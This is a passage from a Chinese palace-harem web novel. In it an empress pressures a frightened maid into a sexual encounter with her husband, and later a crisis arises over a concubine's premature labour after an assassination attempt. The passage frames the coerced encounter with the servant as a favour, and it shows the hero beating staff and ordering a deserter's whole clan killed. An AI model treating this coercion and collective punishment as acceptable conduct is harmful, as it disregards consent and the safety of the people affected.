林臻也被这突如其来的状况和麝月的反应弄得有些尴尬,看着自己那只被慕容嫣强行“按”在人家姑娘背上、此时显得极其突兀的手,再看向笑得花枝乱颤的妻子,又是好气又是好笑。 他无奈地摇摇头,轻轻将手抽回,屈指在慕容嫣光洁饱满的额头上敲了一记: “你这妮子!”语气中满是纵容的无奈,“瞧瞧你,把她吓成什么样了?再这样胡闹下去,好事都让你搅黄了!” 慕容嫣依旧笑得喘不过气,捂着肚子好不容易才勉强收住笑声,眼角眉梢全是飞扬的神采和促狭。 她拉过摇摇欲坠、脸颊烫得像要冒烟、几乎把脑袋埋进胸口的麝月,故意板起脸,做出一副威严模样:“麝月!” 麝月如同惊弓之鸟,立刻挺直腰板(虽然双腿还在发软),低着头不敢抬起,发出比蚊子大不了多少的声音:“奴……奴婢在……” “听着!”慕容嫣的声音带着三分笑意,七分不容置疑的女帝威压:“能得朕的夫君宠幸,是你几世修来的福气。等下呢,可得尽心尽力地伺候着!使出你所有本事!若是有一点半点伺候得不周到惹了夫君……” 说到这里,她故意拖长了语调,凤目眯起,如同盯视着猎物的狐狸: “哪怕是一丁点的不满意!” 她的声音陡然转冷,如同三九寒冰,直刺麝月的心脏: “你可给朕仔细你的皮!” 最后几个字,几乎是咬着牙吐出来的,带着森然的寒意。 “奴婢遵命。”麝月浑身筛糠般剧烈地颤抖起来,也不知道是开心还是恐惧。 慕容嫣闻言这才满意地点点头,仿佛恩赐般地收回了那迫人的威压。 她重新转向林臻,脸上瞬间恢复了小女人的娇媚,拉住他的手,柔声道:“夫君~这小丫头脸皮薄,不经逗。但夫君放心,待会儿朕会在一边帮你的!” 她刻意加重了“帮你”二字,那含义不言而喻。 然后,在麝月惊恐得几乎要窒息的目光注视下,慕容嫣再次非常自然地、带着不容抗拒的引导和恶作剧般的趣味轻轻握住了林臻的手腕,牵引着那只属于世间最有权势男人的手掌…… 在麝月那剧烈颤抖、紧绷如弓弦的脊背上,极其缓慢地、带着掌控意味的揉抚了下!?? “呜……!” 麝月再也控制不住,喉咙深处发出一声如同受伤小兽般绝望而压抑的、破碎的呜咽。 整个身体猛地剧颤! 如同被沸水浇灌的嫩芽,瞬间瘫软下去! 这一次,再也无人相扶。 第564章 青霞遇险 卯时将尽,赤金鲛绡帐幔滤过破晓天光,在紫檀九龙凤榻上筛落斑驳金痕。 龙涎香的余烬混着女子体肤暖香,沉甸甸地淤积在帐内。 那架七尺宽的御榻中央,林臻玄色寝衣襟口微敞,胸腹随绵长呼吸起伏,墨色长发如瀑散落枕畔。 榻外侧,麝月羽睫颤动,骤然睁眼。 视线触到帐顶盘绕的赤金飞凤纹,她浑身剧震! 昨夜被女帝推上凤榻的零碎记忆轰然回涌。 林臻滚烫的掌心摩挲她后脊的颤栗、慕容嫣斜倚在侧指挥她解开世子衣带的低笑、还有那杯被强灌下的暖酒... 她猛地坐起! “嘶啦——” 半边素白中衣肩带滑脱!衣襟顺着凝脂般的肩头滑至肋下,整片玉色裸背猝然暴露在晨光里! 冰冷空气激得肌肤浮起细粟。 “啊!”短促尖叫脱口而出! “死妮子……”慵懒含混的嗔斥从盘龙金丝枕畔飘来。 慕容嫣凤眸未睁,只一截玉臂从锦被下伸出,涂着蔻丹的指尖准确捏住麝月滑落的衣襟,轻巧往上一提,堪堪盖住春色。 女帝声线黏着未醒的沙哑:“辰时的钟鼓都没响,号什么丧……” 麝月羞得耳尖滴血,手指哆嗦着攥紧衣领:“陛下恕罪!奴婢该死!只是已近卯时末刻,陛下该去上朝了。” 她声音细如蚊蚋,垂首不敢看凤榻内侧。 慕容嫣这才懒懒掀起眼帘。 阳光穿过层叠纱帐,恰好照亮她侧卧的身姿——寝衣早已滑至腰际,一段欺霜赛雪的脊背延伸至腰窝,腰臀曲线在薄被下隆起惊心动魄的弧度。 她目光掠过身侧沉睡的林臻,那疲惫的睡颜让女帝眸中冷意微融。 指尖隔着锦被,极其轻柔地抚上他微蹙的眉峰。 “世...” “嘘!”慕容嫣竖起食指压在自己唇上,眸光流转间带着餍足的妩媚,“昨晚夫君太累了,让他睡吧。” 她侧身支颐,目光滑过麝月尚未系妥的中衣下若隐若现的腿根红痕,唇边勾起一缕意味深长的笑。 麝月脸颊瞬间红得如同浸血! 她指尖掐进掌心,几乎将中衣布料绞烂,泪水在眼眶打转却不敢落下,只能死死咬住下唇,颤巍巍地摸索着腰间系带,可越是慌乱,那丝绦越是缠作乱麻。 光影流泻中,少女羊脂玉般的后背肌肤展露无余。 慕容嫣欣赏着这小宫女羞窘欲死的模样,正要再逗弄两句,就听到寝殿外面宫女徐徐传来的脚步声,于是起身准备去上朝。 林臻这一觉直接睡到中午,他舒爽的伸了个懒腰,起来接受刚刚蜕变成女人的麝月伺候,等吃过饭,便准备回府。 ...... 摄政王府巍峨的朱漆铜钉大门缓缓开启,林臻一身玄色蟒纹朝服,步履沉稳地跨进门槛,衣袂间还携着宫中特有的龙涎冷香。 他眉梢舒展,似还沉浸在昨夜宫闱的旖旎温情之中。 然而这份意兴未阑的惬意,瞬间便撞上了府内滔天的混乱! 回廊曲径间,素日谨严的仆役此刻如沸水中的鱼群! 穿桃红比甲的丫鬟鬓发散乱,捧着热水铜盆撞倒了支窗的木杈;着靛蓝短打的杂役脸色煞白,抱着成捆雪白棉布撞在廊柱上散落满地;檀色福字纹的稳婆提着药箱跌跌撞撞,口中仓惶呼喊。 所有乱象奔涌的方向都指向王府西侧——青霞居住的“撷芳阁”! 垂花门下,大管家林安早已失却了平日的刻板沉稳。 他老脸煞白,沟壑纵横的额头上布满油汗,平日里梳理得一丝不苟的银发也乱了几缕。 正揪着一个小厮的衣领急赤白脸地嘶吼:“热水!我要热水,一刻都不能凉!再去库房最里面拿红木描金匣子,取那支三百年的老山参!立刻!马上!炖汤送过去!一群饭桶,再耽搁,夫人有个闪失你拿命抵都不够!” 林安的咆哮嘶哑中带着惊惧的破音,在混乱的回廊中回荡。 “林安!” 惊雷般的喝问劈开喧嚣! 林臻如狂风般卷至近前,玄色蟒袍带起凛冽劲风,方才的慵懒已被森然的煞气取代! 林安闻声如同惊弓之鸟,浑身猛地一颤! 待看清是林臻后,浑浊的老眼中如同炸开一簇光亮,几乎是连滚带爬地扑跪在地,声音带着哭腔和濒死般的急切: “世……世子!您可回来了!老奴正要派人快马进宫寻您呢!” “出什么事了?这么毛毛躁躁的?” “大事不好了!青霞夫人早产了。” “什么?!”林臻的瞳孔骤然紧缩如针尖! 巨大的惊骇与狂怒瞬间冲垮理智! 他一步上前,竟双手如铁钳般攥住林安的前襟,猛然发力,将这百十斤的老管家提离了地面! 力道之大,让林安的脚尖都离了地,蟒袍下的手臂筋肉瞬间如怒蟒绞缠! “她的预产明明还有一个多月!怎么会早产?!说!怎么回事?!” 林安双脚离地,被勒得眼球凸出、面皮紫胀,双脚在空中徒劳地蹬踹,喉咙里发出嗬嗬的艰难嘶响,却仍拼命挣扎着挤出声音: “是……是刺客!今天早上,刺客神不知鬼不觉的溜进了内宅!直奔晴雯夫人和小少爷的住处,意图不轨!万幸当时青霞夫人正在那边与晴雯夫人闲聊,亲自出手抓住了刺客……” 林安痛苦地翻着白眼,努力维持着气息:“但也因此动了胎气,现在正在产房里呢。” 话未说完,已是被窒息感淹没,剧烈地咳嗽起来。 “刺客!刺客!又是他妈刺客,哪来那么多刺客?” 林臻额角的青筋如虬龙般骤然暴起,突突狂跳! 滔天的怒火几乎要焚化他的理智! 他死死盯着手中这狼狈不堪的老奴,声音如同九幽寒狱中吹出的阴风,充满了嗜血的暴怒: “林安!本世子让你总管府内防卫!这就是你给本世子交的差?!堂堂摄政王府,内宅重地!接二连三被宵小摸进来,如入无人之境!你脑袋里装的是浆糊吗?!本世子要你何用?!” 说罢,臂上肌肉坟起,像甩开一件破麻袋般狠狠将林安掼在地上! “噗通——咔嚓!” “啊!” 一声闷响夹杂着细微的骨裂之声! 林安蜷缩在地,痛得面色如土,咳得撕心裂肺,连话都说不出来了。 林臻再不看他一眼,蟒袍翻飞如狂舞的墨龙,向西苑“撷芳阁”的方向跑去! 所过之处,仆役避之不及,皆被那无形的狂怒气场震得心神俱颤,纷纷伏地。 ?撷芳阁? 穿过月洞门,映入眼帘的是撷芳阁精致的庭院。 这里本是王府中最清幽的所在,此刻却凝滞着风暴过后的紧张与不安。 莲池畔的六角凉亭下,气氛微妙。 上官婉儿穿着一身素雅的常服,端坐在紫檀雕花的靠背椅上,玉指捻着一串光洁圆润的羊脂玉佛珠,神情自若,脸色看不出太多的惊惶。 在她旁边,还有四位气质清冷的女子,她们穿着月白、淡青等不同颜色的飘逸长裙,身姿窈窕,气韵不凡,正是天道宗赫赫有名的几位仙子。 她们四人坐姿端庄,神色平静,周身上下却隐隐透着一股凛然不可侵犯的气息,形成一股无形的屏障,拱卫着亭中。 林臻进门后,上官婉儿率先察觉,她不慌不忙地将佛珠置于身侧桌案,从容起身。 裙裾纹丝不乱,屈身行了一个恰到好处的福礼,声音清婉如同玉磬:“臣妾恭迎世子回府。” 她的姿态完美地诠释了什么是世家贵妇的沉稳。 “夫君!呜呜呜呜——”一声凄厉哀婉的哭嚎几乎同时响起!打破了亭中凝固的空气。 只见身着桃红锦绣襦裙的晴雯从另一侧的椅子上猛地站起,扑通一声跪倒在林臻脚前。 她怀中紧紧抱着裹在明黄襁褓里的幼子林承煜。 小家伙似乎也感受到了母亲巨大的恐慌,此刻正瘪着小嘴,发出呜咽压抑的啼哭。 晴雯自己早已哭得花容失色,梨花带雨,眼泪如同断了线的珠子滚滚而落,将她胸前大片的衣襟都浸湿了。 “夫君,您可回来了!”她仰着满是泪痕的小脸,声音颤抖着,充满了极度的恐惧和委屈:“家里来了刺客!差点就害了妾身和承煜的性命啊!呜呜呜……要不是青霞姐姐当时就在旁边,眼疾手快……承煜……承煜他……” 后面的话又被一阵撕心裂肺的哭声淹没。 林臻的目光如刀子般扫过那道代表死亡的扼痕,瞳孔猛缩! 巨大的心痛和后怕如同毒蛇般噬咬着他的心脏! 他深深吸了口气,强行压下几乎要失控的暴怒。 他俯下身,伸出修长而稳定的手,动作极其轻柔地将哭得几乎要晕厥的晴雯环住,温厚的手掌轻抚她剧烈颤抖的脊背,试图传递一丝微弱的安慰。 同时,另一只手极其小心翼翼地、隔着襁褓轻拍了两下犹在抽噎的儿子: “莫怕,莫怕,有为夫在!不会有事儿的。”他的动作带着前所未有的温柔,但那环抱之下酝酿的却是足以毁灭世界的雷霆之怒! 别让我知道刺客是谁,否则就算是天涯海角,他也要将其彻底铲除。 安抚了一下妻儿,林臻猛地抬头,目光扫过众人。 “刺客?!内院重地,防护森严,如何会进得了刺客?!说!当值的护卫是哪个?!给本世子立刻绑来!要活口!” 他的声音低沉如闷雷滚动,每一个字都重愈千斤! 上官婉儿面对这扑面而来的强大威压,依旧面不改色。 她纤细白皙的手指优雅地将桌案上散落的一丝鬓发拢向耳后,声音如同古井不波,清晰而冷静:“回夫君。事发之后,妾身第一时间便已下令,命曹雄率三十六名精锐府卫,前往缉拿当值的侍卫长王成。” 她说到这里,微顿了一下,那双始终从容淡定的眸子里终于掠过一丝冰冷的微光: “只可惜他已经跑了。有守门侍卫在辰时初刻亲眼目睹他自后门匆匆出府,不知所踪。” “跑了?!”林臻的怒意在这一刻攀升至顶点! 如同压抑到极致的火山轰然爆发!一股暴戾的杀意汹涌而出,直冲云霄!他猛地一跺脚! “轰!”脚下坚硬的青石板应声碎裂! 蛛网般的裂纹瞬间蔓延! “混账!背主弃义的无耻之徒!”他怒不可遏,双目赤红,咆哮声震得庭院里的树叶簌簌发抖! 手指戟指向院外虚空,如同在择人而噬: “传本世子钧令!即日起!悬赏千金,活捉王成此贼!并查其籍贯,无论父族、母族、妻族,凡与完成血脉相连的男丁、女眷、婴孩,一律捉拿,三族尽屠!” 这充满血腥味的军令如同在凝固的空气中投下巨石! 连亭中几位仙风道骨的仙子都微微动容! “是!”几名护卫立刻跑出去干活。 “诶?统领,您怎么再者?”一声混杂着疑问的声音传来。 只见王府护卫统领曹雄,一步一顿的走进院门,离着林臻数丈远,便猛地单膝轰然跪倒! 巨大的冲击力让膝盖砸在石板路上发出令人牙酸的闷响! 他那张不算帅气但也象征勇武的黝黑面庞,此刻竟肿胀得如同发起来的发糕! 皮开肉绽!青紫交加! 上面密密麻麻覆盖着深红色的巴掌印! 有些地方因为掌掴力量过大,已经破皮渗血,粘着泥土,惨不忍睹! 左眼更是肿得只剩一条细缝,几乎无法视物! 嘴角裂开,正沁出血沫! 这副惨状,竟是自己生生打出来的! “老曹?”林臻看到这张如同被十头蛮牛践踏过的脸,暴怒的火焰也为之一滞,浓眉紧锁,几乎不敢相认:“你这脸……” “世子!”曹雄的声音嘶哑如破锣,带着一种近乎自残的痛楚和强烈的羞耻感:“卑职护府无能!巡查疏漏!致使夫人受惊!少主遇险!卑职……罪该万死!” 说着,他猛地抬起那只布满老茧和血痕的蒲扇大手,毫不留情地朝着自己那肿胀无比的面颊又是一记耳光! “啪——!”清脆而惨烈的响声在院中回荡! 脸上原有的伤口登时迸裂,血丝混杂着汗水泥土蜿蜒流下! 触目惊心! “住手!!”林臻勃然大怒,几步抢上前,如同暴怒的雄狮,抬脚狠狠踹在曹雄厚实的肩头铠甲上! “你他妈有病啊?” “砰!”一身巨响!曹雄被这蕴含着巨力的一脚踹得整个身体向后滑出数尺! 在地上犁出一道痕迹! “你这脑子原本就不聪明,还自己把自己打成这样,是想彻底打成豆腐脑吗?!” 林臻指着他那张惨不忍睹的脸,怒斥声如同冰雹砸落:“真成了个只会喘气的傻子,本世子还要你有什么用?!嗯?!” 曹雄被踹翻在地,狼狈地爬起,又跪下,双手痛苦地抠着地面冰凉的石缝,指节泛白: “卑职无能!辜负世子重托!”他猛地抬头,那只完好的右眼中爆射出狼一样的狠厉光芒和决绝: “不过世子放心!卑职已调动所有能调动的亲卫暗探!全城九门彻底封锁!同时启用所有眼线,就算掘地三尺,豁上这条贱命!也定要将刺客和那叛徒一并擒回!交由世子千刀万剐!” 第565章 孩子没了 “起来说话吧。” 王府的防卫工作一直都是大管家林安负责,这次出了纰漏他也是第一责任人,与曹雄关系不大。 但这小子居然把自己脸抽肿了,可见他心里对此事也实在过意不去。 曹雄喘息着,目光移向凉亭,肿成细缝的眼中流露出感激。 林臻问道:“这几个女人是怎么回事?” 曹雄说:“是璃月仙子带回来的!她今日清晨应青霞夫人相邀过府叙旧。事发之时,仙子尚未离去!听闻夫人出事,仙子即刻回到天道营,紧急召来了这几位。” 他指的是亭中肃立的几位仙子。 林臻冰冷的目光也随着曹雄的视线投向凉亭,最终定格在璃月仙子那清冷淡漠的面容上,语气中带着冷冽的质疑和不容僭越的威严: “璃月,本世子明白你们是前来援助的。”他目光扫过紫烟、澄雪、静岚,眼神陡然锐利如刀锋:“但是她们,你应当清楚!天道营目前正在北山绝密道场进行封闭式严训!没有本世子的手书军令加印!任何天道弟子不得以任何理由离开道场!违令者!斩!” 他的声音带着金铁交鸣般的杀伐之气,目光如刀直刺璃月:“告诉本世子!是谁给你们的胆子!让你们擅离职守,出现在这王府内院的?!” 巨大的威压如同山岳般压下!整个院落的温度仿佛都骤然降至冰点! 然而璃月却根本不看他一眼,转过身不理他。 好像对死亡没有任何恐惧似的。 林臻来了火气。 奶奶的,自己训练出来的人居然不听自己命令,那还要她们有什么用? 看来,要征服一个女人,就要先征服她的身体才行,就像夏竹那样。 曹雄艰难地吞咽了一口带血腥沫子的唾沫,满脸苦涩,低着头,声音如同蚊蚋:“世子息怒,几位仙子也是担心夫人的安危...” “住口,我还没问你呢,你倒先替她们说上话了。”林臻立刻将他打断,“你们护卫营是干什么吃的?就让她们这么明目张胆的跑出来?” “世子,这几位都是神通广大的杀手,她们若想出来,我们哪拦得住啊。” 这话带着深深的无力感和无奈,却也道出了无可辩驳的事实。 以他们的战斗力想拦住几位顶级杀手,确实有些难了,最重要的是他们还不能把这几位仙子怎么样,毕竟谁也不知道林臻会不会突发奇想的把她们睡了。 到时候还是给自己惹麻烦。 林臻牙关紧咬,腮边肌肉绷出冷硬的线条。 目光在亭中那几位缥缈出尘的身影和手中紧紧抱着啼哭儿子、依旧惊魂未定的晴雯身上快速切换。 最终,他只从鼻腔中发出一声沉闷的冷哼,算是默认了这无法抗拒的现实。 他没再说什么,只是疲惫地挥了挥手,示意曹雄退下一边。 “老宗主何在?!”林臻忽然想起王府最强的守护者,那位须发皆白、已臻化境的活化石般的存在。 曹雄连忙回答:“回世子!老宗主他三天前便出城去寻访几位故交道侣,切磋技艺,至今尚未归府。” 林臻心下又是一沉,眉头锁得更紧。 王府最强的守护者竟然恰巧不在! 一股不祥的预感萦绕心头。就在他心神紧绷之际—— “吱呀——” 西厢紧闭的朱漆雕花产房门轻轻开启。 一道清癯却带着威势的身影迈步而出。 正是孙神医! 他须发皆白如雪,穿着一尘不染的深青色道袍。 此刻,那如婴儿般红润的额角难得地渗着细密的汗珠,平日里从容淡定的脸上也带上了凝重。 他手中端着一只定窑白瓷碗,碗中深褐色药汁尚在冒着热气,一股浓烈刺鼻的血腥混合着药味扑面而来! “孙神医!”看到这位杏林圣手,林臻的心瞬间提到了嗓子眼! 一步抢上前,声音急切却极力维持着作为世子的沉稳:“神医!青霞如何?!” 孙神医抬起眼,看到林臻眼中毫不掩饰的关切与忧虑。 他捻了捻雪白的长须,目光深邃而稳定,声音带着一种阅尽千帆后的从容和强大自信: “世子请放心。夫人内息充盈,根基浑厚,远非常人可比。”这句话如同定心丸,让林臻紧绷的神经微微一松。 “虽因意外动气引发早产月余,”孙神医语气沉稳,“但以老朽观察脉象,母子生命气机皆颇为稳健,并非必死之劫。老朽已施‘三才锁元针’,暂时稳住母子气息,护其元根不损。” 他示意了一下手中的药碗。 “又亲自煎了九转回春汤,夫人已服下一剂,可助其滋养气血,固本培元,积蓄力量。” 他将药碗微微倾斜,那深褐色的液体粘稠如琥珀,隐隐可见血丝浮动。 林臻焦急的问:“那我现在应该做点什么?” “世子不必焦急,老朽当坐镇在此,力保青霞夫人万全。”这份源于医道绝顶高手的自信,有效地安抚了人心。 林臻心中悬着的大石终于落下一半! 想起晴雯上次分娩时自己那焦灼如焚、抓耳挠腮的难熬滋味,他不禁再次深吸一口气,强自镇定下来,对着孙神医郑重拱手道谢: “有劳神医!本世子代青霞与小…孩儿拜谢神医!请神医保重身体!”他的语气真挚而带着分量。 孙神医微微颔首,示意一旁侍立的医童接过药碗。 林臻心情稍定,便欲转身先到凉亭等候。 就在此时—— “南无阿弥陀佛……骰子两面生,开大开小看手纹……世子在哪儿快活回来了?贫僧这厢讨杯喜酒沾沾光喽……” 一句油滑腔调、五音不全的佛号俚曲混合着小调,嬉皮笑脸地响彻院落! 众人循声望去,只见一个顶着溜光锃亮秃头、穿着打满补丁、污垢反光灰色僧袍的老和尚,一步三摇晃,哼着十八摸的小调,手里还提着一个油渍麻花的破酒葫芦,晃晃悠悠地从月洞门溜达了进来! 正是那位被林臻从外面“请”回王府,却因诸事繁忙晾在客房好几天的棋牌佛! 棋牌佛踱到院子中,圆盘大脸上依旧挂着那副万事不愁的嬉笑,小眼睛滴溜溜地转,最后落到面沉似水的林臻身上: “哎呦!世子爷!几日不见,红光满面,印堂发亮,必是有大喜事临门!莫不是府上哪位夫人要添丁了?呵呵呵,贫僧这穷和尚没别的贺礼,就唱段佛曲给公子添添福气吧。” 林臻此刻正忧心如焚,哪有半分心情理会这没正形的老和尚? 被他这一番插科打诨,心中更是烦躁难耐! 眉头瞬间拧成了疙瘩,语气极其不耐烦,带着毫不掩饰的驱赶之意: “老和尚!府中有事!青霞正在紧要关头!今日没空与你谈经论道!喝酒唱歌也好,诵经念佛也罢,你且自回客房自便!待此间事了,本世子自会找你!” 逐客之意已明。 棋牌佛像是全然没感受到林臻那几乎要凝成实质的煞气和逐客之意。 他那双混浊的老眼中精光一闪即逝,竟还笑嘻嘻地往前凑近两步,油腻的手指快速地掐捏了几下,如同街头算命的痞相! 脸上的嬉笑渐渐收敛,最后化为一种极其少见的凝重,甚至带上了一抹极其深邃难言的悲悯之色。 他无视了林臻难看的脸色,用一种低沉沙哑、仿佛穿透迷雾的声音缓缓开口: “世子,恕老僧直言,您还得有个万全的心理准备才是。”话语幽幽,带着几分洞悉天机的沉重。 “什么准备?!”林臻的心脏如同被一只冰冷的手狠狠捏了一把!不祥的预感骤然强烈百倍! 他目光如电,死死盯住棋牌佛那张油滑又肃穆的脸,厉声喝问! 棋牌佛合十当胸,垂首低眉,深深叹息一声,声音如同枯枝刮擦粗糙的树皮: “这未足月的麟儿……怕是福缘不够深,恐难落地成人啊。” 这句话如同晴天霹雳,狠狠劈下! “妖僧住口——!!” 棋牌佛话音未落,一声夹杂着极致愤怒与侮辱的厉喝如同雷霆般炸响! 一直沉默在旁、面色凝重的孙神医此刻须发皆张! 他那张素来平和淡然的脸上涌起暴怒的红潮!一双洞察秋毫的老眼此刻几乎要喷出火来!手中的拂尘都因为过于激动而簌簌发抖! 他猛地踏前一步,指着棋牌佛的鼻子,声音因极致的愤怒而颤抖: “无知狂徒!朽木之材!安敢在此妄言生死,诅咒夫人和小公子?!你是不信老夫岐黄之术?!还是你存心要乱我王府心神,妖言惑众?!” 怒斥之声,震得亭角风铃都嗡嗡作响! 孙神医一生钻研医道,救死扶伤无数,最忌讳便是这等不分青红皂白、妄言天命诅咒病人的行为,何况诅咒的还是金尊玉贵的王府血脉! 这简直是对他毕生医道修为和“药王”尊名的奇耻大辱! 面对这汹涌而来的滔天怒意和指责,棋牌佛却并未像往常那般插科打诨、油嘴滑舌地反驳。 他只是微微摇头,脸上那悲悯之色更浓,眼中仿佛看透了滚滚红尘、生死无常的沧桑: “无量天尊!道友息怒。”他合十念了一声佛号,声音低沉,却带着一种穿透喧嚣的无奈和看破天机的苍凉: “贫僧岂敢质疑道友精深医术?只是这岐黄妙术纵然能生死人肉白骨,可终究难以对抗这煌煌天道轮转之势啊。” 他顿了顿,浑浊的眼眸直直地看向因为极度愤怒而胸口剧烈起伏的林臻,仿佛要穿透林臻的灵魂,声音如同寒夜里穿透幽谷的风: “世子。万般皆是命数,半点也强求不得。” “你——!!”林臻被这种模棱两可、装神弄鬼的言语彻底激怒! 长久以来对亲人安危的担忧、对王府屡遭袭扰的震怒、以及这老和尚此刻如同跗骨之蛆般的聒噪,所有的怒火在这一刻终于彻底冲垮了理智的堤坝! 他眼中的耐心和克制荡然无存,只剩下狂暴的戾气! “老秃驴!!”林臻发出一声如同受伤猛兽般的怒嚎,眼中寒光如刀! 那双曾握过杀伐、染过鲜血的大手,带着千钧之力,猛地推向棋牌佛那单薄的肩膀! “你敢再说一遍——!!” 然而,就在他的手掌即将触及棋牌佛那肮脏油腻僧袍的刹那—— “啊——!!!” 一声极其突兀、又极其凄厉、充满极致痛苦与绝望的尖锐惨叫声! 如同垂死母兽濒临绝境的最后悲鸣! 猛地、毫无征兆地撕裂了产房紧闭的木门! 声音凄厉到破音! 划破了撷芳阁压抑的静谧! 如同最锋利的匕首,狠狠扎进了在场每一个人的心脏! 那声音,所有人都听得真切! 是属于青霞的! 是青霞痛苦的喊叫! 时间,仿佛在这一声惨绝人寰的叫声之后……骤然凝固了! 所有喧嚣和怒意,都被这生死关头的信号硬生生切断! 整个世界只剩下一片令人窒息的死寂! 第566章 狗屁的天意 产房那扇沉重的雕花木门猛地被从里面拉开。 负责接生的产婆连滚带爬地冲了出来,她脸色煞白如纸,嘴唇哆嗦着,头发散乱,衣裙上还沾着骇人的暗红血迹,声音因为极度的惊慌变得尖利而破碎,朝着焦急守候在外的林臻喊道。 “世子!不好了!夫……夫人她难产大出血!!” 这消息如同九天惊雷,猛地炸响在林臻耳畔。 他只觉脑袋“嗡”的一声轰鸣,眼前瞬间发黑,整个人像被无形的重锤狠狠砸中,晃了一下才勉强站稳。 血液仿佛刹那间从四肢百骸倒流回了心脏,手脚冰凉刺骨。 他猛地转头看向旁边同样脸色剧变的孙神医,这位以妙手回春著称的老者此刻也满脸的惊愕与难以置信,显然也被这突如其来的噩耗震懵了。 “这怎么可能?青霞夫人明明身体康健的很!” 院子里顿时一片死寂,所有仆从、丫鬟,甚至包括几位有经验的婆子,都像被施了定身咒,僵在原地,连大气都不敢喘一口,空气凝重得如同灌了铅。 一股暴戾的狂怒瞬间冲垮了林臻所有的理智,他红着双眼,猛地就想朝那产婆扑过去! 他的手下意识地按在了腰间的佩剑上,指节捏得发白,青筋暴起,脑子里只有一个念头。 就是这个无能的蠢妇害了青霞! 若是后世,绝不能出现这样的事情! 杀了她! 但这个念头刚起,又被他残存的最后一丝清明强行压了下去。 青霞还在里面生死未卜! 而一个有经验的产婆就相当于妇科大夫。 她不能死。 至少现在不能死。 他强迫自己松开了握剑的手,深吸一口气,胸腔剧烈起伏,那声音嘶哑得如同濒死的野兽。 “说!为什么会这样!!” 产婆被他那骇人的杀气吓得魂飞魄散,“扑通”一声瘫软跪倒在冰冷的地砖上,身体筛糠般抖个不停,涕泪横流,语无伦次地哭喊道。 “世子息怒,世子饶命啊!我们真的不知道,明明之前都好好的,眼看孩子就要出来了,可、可就在快出来那一刻,那孩子突然在肚子里猛地动了一下,劲儿大得出奇!接着夫人就止不住地大出血了!奴婢们使尽浑身解数,灌参汤,施针都止不住啊!世子爷,您您快拿个主意吧,是……是保大人还是保孩子?” 最后几个字,她说得如同蚊呐,却清晰地刺入了在场每个人的心坎。 “放屁!”林臻厉声咆哮,声音因极致的焦虑而扭曲变形,“全都得给我保住!青霞和孩子,一个都不能少!否则我让你们全都给她陪葬!” 他双目赤红,指着跪地的产婆和院子里的众人,那狠厉的眼神看得人遍体生寒。 产婆被他吼得几乎要昏厥过去,只能匍匐在地上,头磕得砰砰作响,绝望地哭求:“世子爷,就算您现在杀了我们也没用啊!里面的血止不住,夫人她撑不了多久了,她自己也着急啊!求您快做决断吧,晚了怕是……怕是……” 后面的话她不敢再说下去,只剩下压抑不住的呜咽和磕头声。 就在这令人窒息的绝望关头,站在人群稍后方的璃月仙子上前一步。 她面容依旧清冷,但眉头紧锁,眼中闪过一丝决然。 “保大,青霞姐姐的命要紧。” 她的话语简洁有力,如同一柄冰锥刺破了混乱的空气。 几乎在璃月仙子话音落下的同时,一直凝眉苦思的孙神医也做出了决断。 他猛地一拍大腿,沉声道:“世子莫急!情况未明,莫要轻言取舍!让老朽进去看看!” 这位见惯生死的杏林国手也深知时间就是生命,再顾不上什么男女大防,更不等林臻回应,便撩起袍袖,毫不犹豫地转身,步履急促地朝着产房快步走了进去。 “孙神医!”林臻在他身影即将消失在门内那一刻嘶声喊道,那声音充满了挣扎、恐惧和最后的托付,“如果……如果事不可为……力所不及……请务必保住青霞!” 这是他作为丈夫,在命运残酷的岔路口,撕心裂肺的选择。 孙神医的脚步在门槛处骤然一顿,肩膀几不可察地微微颤动了一下。 他没有回头,只是无声地点了点头,然后义无反顾地跨入了那扇门。 那磕头哭喊的产婆如蒙大赦,连滚带爬地也跟了进去,沉重的房门在众人焦灼的视线中“哐当”一声重新合上,隔绝了里面令人心悸的痛苦呻吟与呼喊声,也将所有揪心的悬念彻底封死。 院中的死寂再次笼罩下来,沉重得让人喘不过气。 林臻感觉胸口像压着一块千钧巨石,痛得他几乎无法呼吸。 他猛地转身,目光如冰冷的刀锋,死死地钉在了不远处的棋牌佛身上。 这老僧从青霞发动开始就一直沉默地坐在角落里捻着佛珠,此刻依旧低眉垂目,看不清表情。 “秃驴!”林臻的声音因压抑到极致的情绪而沙哑低吼,带着浓浓的质问与迁怒,“你告诉我!青霞为什么会这样!这到底是怎么回事?!” 他将所有的无助和恐惧都倾泻在了这个看似神秘的僧人身上。 棋牌佛抬起苍老的面容,浑浊的眼眸看向林臻,几不可闻地发出一声悠长沉重的叹息:“唉,阿弥陀佛,世子,这一切都是天意。” 他的话语带着一种宿命般的悲凉,“世子,冥冥之中自有定数,老天怕是不让这个孩子降生此世。” “狗屁的天意!”林臻一步跨到棋牌佛面前,赤红的眼睛几乎要喷出火来,他一把揪住老僧的僧袍前襟,厉声道,“少给我故弄玄虚!说!到底怎么回事?!你平时掐指会算的,这时候给老子装什么哑巴!” 棋牌佛被他的气势所慑,却也未挣脱,只是抬起枯瘦的手指,缓缓指向了天空,语重心长地说:“世子且看天上,此景,便已说明一切。” 林臻狐疑地顺着他指的方向猛地抬头。 天空不知何时已经大变了模样! 方才虽然有些阴沉,但此刻太阳仿佛被一个巨大的、无形的怪物一口咬去了大半,只留下一圈刺目欲盲的金边! 竟是千百年也难遇的日食正在发生! 更令人毛骨悚然的是,在这昏暗的白昼里,太阳的周围,竟清晰地浮现出好几颗异常明亮的星辰! 它们在灰青色的天幕背景下放射着冰冷而刺眼的光芒,如同死神的眼眸,毫无温度地注视着苍茫大地。 棋牌佛的嗓音变得飘渺而诡异,配合着这天地异象:“世子,此子绝非池中之物。他本应是天上执掌权柄的星君,降世当有一番惊天动地的伟业。可叹啊,可叹那凌霄殿上的玉皇不愿他星辉落入凡尘,阻了神明的秩序,所以暗中施为,封了他的命途,将他困于绝境。” “唉……世子啊,天命难违!老衲观此天象,恐怕此劫之后,你与青霞夫人的命格里,再难有此等佳儿承欢膝下了……至于……至于保大保小。” 棋牌佛布满皱纹的脸上现出浓重的悲悯,“世子,当速断。” “我断个屁!”林臻松开手,只觉得一股冰冷的绝望如同毒蛇般噬咬着他的心脏,但他骨子里的倔强和对青霞刻骨铭心的爱意让他做出了绝不犹豫的选择。 “我要青霞!只要她活着!我只要她活着!”他声嘶力竭地喊出心底的坚持,什么星君命格,什么玉帝阻挠,都滚一边去! 他只要那个陪他走过风风雨雨的女人安然无恙! 第567章 天狗食日,死而复生 